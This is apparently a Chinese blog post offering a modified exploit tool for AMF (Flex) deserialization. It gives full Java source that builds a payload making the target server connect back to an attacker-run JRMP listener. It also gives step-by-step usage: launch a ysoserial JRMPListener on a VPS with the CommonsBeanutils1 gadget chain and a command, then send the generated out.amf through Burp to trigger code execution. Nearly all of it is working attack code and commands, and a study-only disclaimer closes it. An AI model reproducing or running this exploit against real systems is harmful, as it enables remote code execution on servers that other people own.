改造一个基于jrmp的AMF反序列化利用工具

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import flex.messaging.io.SerializationContext;
import flex.messaging.io.amf.*;

import java.io.*;

/**
* @Author novy
* @Date 2022/6/1 11:45
* @Version 1.0
*/
public class AMF_JRMP {
public static void main(String[] args) throws Exception {
String text = "" +
"\n" +
" _______ __ __ .______ ______ \n" +
"| ____|| | | | | _ \\ / __ \\ \n" +
"| |__ | | | | | |_) | | | | | \n" +
"| __| | | | | | ___/ | | | | \n" +
"| | | `--' | | | | `--' | \n" +
"|__| \\______/ | _| \\______/ \n" +
"by novy \n\n";
System.out.println(text);
String help = "java -jar amfpoc.jar 0.0.0.0 1234";
if (args.length==0){
System.out.println("请输入完整的参数:java -jar amfpoc.jar 启动jrmp服务的ip 启动jrmp服务的端口\ne,g:\n\n"+help);
System.exit(0);
}
if (args[0]==null){
System.out.println("请输入已经启动jrmp服务的ip");
}
if (args[1]==null){
System.out.println("请输入已经启动jrmp服务的端口");
}
Object object = generateUnicastRef(args[0], Integer.parseInt(args[1]));//jrmp启动地址、端口
byte[] amf = serialize(object);

//生成数据
ByteArrayOutputStream out = new ByteArrayOutputStream();
out.write(amf);
FileOutputStream fileOutputStream = new FileOutputStream( new File("out.amf"));
out.writeTo(fileOutputStream) ;
out.flush();
System.out.println("在当前目录生成out.amf成功!");

}
public static Object generateUnicastRef(String host, int port) throws Exception {
java.rmi.server.ObjID objId = new java.rmi.server.ObjID();
sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(host, port);
sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false);
return new sun.rmi.server.UnicastRef(liveRef);
}
public static byte[] serialize(Object data) throws IOException {
MessageBody body = new MessageBody();
body.setData(data);
ActionMessage message = new ActionMessage();
message.addBody(body);
ByteArrayOutputStream out = new ByteArrayOutputStream();
AmfMessageSerializer serializer = new AmfMessageSerializer();
serializer.initialize(SerializationContext.getSerializationContext(), out, null);
serializer.writeMessage(message);
return out.toByteArray();
}

//用来验证
public static ActionMessage deserialize(byte[] amf) throws ClassNotFoundException, IOException {
ByteArrayInputStream in = new ByteArrayInputStream(amf);
AmfMessageDeserializer deserializer = new AmfMessageDeserializer();
deserializer.initialize(SerializationContext.getSerializationContext(), in, null);
ActionMessage actionMessage = new ActionMessage();
deserializer.readMessage(actionMessage, new ActionContext());
return actionMessage;
}
}

使用说明

只适用于出网的机器

将ysoserial放到服务器/vps中,先启动一个jrmp,利用链根据实际情况改

1
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1234 CommonsBeanutils1 calc

然后本地运行这个AMFpoc_JRMP.jar

1
java -jar AMFpoc_JRMP.jar 起服务的ip 起服务的端口

比如这样

1
java -jar AMFpoc_JRMP.jar 127.0.0.1 1234

他会生成一个out.amf,使用burp右键选择pasted from file,选这个out.amf发送就可以触发


声明:
本文章用于学习交流,严禁用于非法操作,出现后果一切自行承担,阅读此文章表示你已同意本声明。

Disclaimer:
This article is for study and communication. It is strictly forbidden to use it for illegal operations. All consequences shall be borne by yourself. Reading this article means that you have agreed to this statement.